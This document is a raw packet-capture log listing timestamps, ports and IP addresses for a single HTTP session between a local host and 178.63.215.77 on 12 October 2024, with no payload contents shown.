Oct 12, 2024 14:17:09.875627041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875632048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875642061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875644922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875654936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875664949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875669956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875677109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875685930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875691891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875699997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875710011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875715017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875722885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875730038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875740051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875745058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875749111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875768900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875785112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.961843014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.961913109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.961946011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.961978912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962029934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962028027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962028980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962028980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962028980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962061882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962109089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962110043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962110043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962151051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962155104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962199926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962204933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962249041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962255955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962297916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962305069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962351084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962353945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962387085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962409019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962418079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962430000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962450027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962471008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962491035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962498903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962546110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962553024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962584972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962598085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962620020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962630987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962658882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962665081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962692022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962714911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962735891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962739944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962771893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962798119 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962812901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962821007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962852955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962876081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962884903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962893963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962932110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962938070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.962964058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.962987900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963006020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963011980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963042021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963069916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963087082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963089943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963121891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963135004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963154078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963159084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963184118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963193893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963216066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963224888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963255882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963270903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963315964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963320017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963366985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963367939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963416100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963428974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963463068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963478088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963495970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963521957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963541985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963543892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963576078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963587046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963603973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963625908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963650942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963654041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963682890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963706970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963713884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963727951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963758945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963768005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963814020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963816881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963850975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963865042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963896990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963897943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963932991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963947058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963963985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.963973045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.963995934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964001894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964027882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964054108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964061022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964072943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964098930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964108944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964131117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964154959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964162111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964184999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964202881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964210987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964246035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964260101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964288950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964303017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964349985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964380026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964382887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964397907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964413881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964440107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964447975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964457989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964478970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964504957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964510918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964524031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964544058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964569092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964577913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964587927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964610100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964632988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964642048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964657068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964672089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964695930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964704990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964715958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964723110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964736938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964746952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964750051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964760065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964764118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964776993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964776993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964792013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964797974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964804888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964818954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964822054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964833021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964839935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964847088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964860916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964867115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964874029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964879990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964886904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964900970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964914083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964914083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964914083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964927912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964927912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964941025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964946032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964955091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964965105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964968920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964982986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.964984894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.964996099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965003014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965008974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965013027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965023041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965037107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965039015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965049982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965059042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965063095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965076923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965085030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965090036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965100050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965104103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965117931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965123892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965131044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965145111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965150118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965158939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965164900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965172052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965184927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965192080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965198994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965212107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.965218067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965235949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.965262890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051014900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051058054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051095009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051134109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051150084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051186085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051202059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051254034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051285982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051317930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051350117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051383018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051448107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051448107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051448107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051448107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051448107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051465988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051498890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051549911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051584959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051630974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051677942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051712036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051743031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051774025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051817894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051817894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051817894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051817894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051817894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051822901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051851034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051870108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051898956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.051908016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051939964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.051950932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052012920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052018881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052073002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052081108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052119970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052124023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052172899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052187920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052206993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052218914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052238941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052257061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052272081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052294970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052304029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052319050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052349091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052352905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052385092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052397966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052417040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052431107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052448988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052459955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052483082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052498102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052515030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052527905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052546024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052560091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052577019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052606106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052608013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052634954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052639008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052649975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052686930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052699089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052719116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052735090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052764893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052766085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052798033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052812099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052829027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052843094 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052861929 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052894115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052895069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052926064 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052931070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052958965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.052970886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.052970886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053065062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053066969 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053093910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053112984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053126097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053143024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053158045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053170919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053230047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053236008 CEST	80	49730	178.63.215.77	192.168.2.4
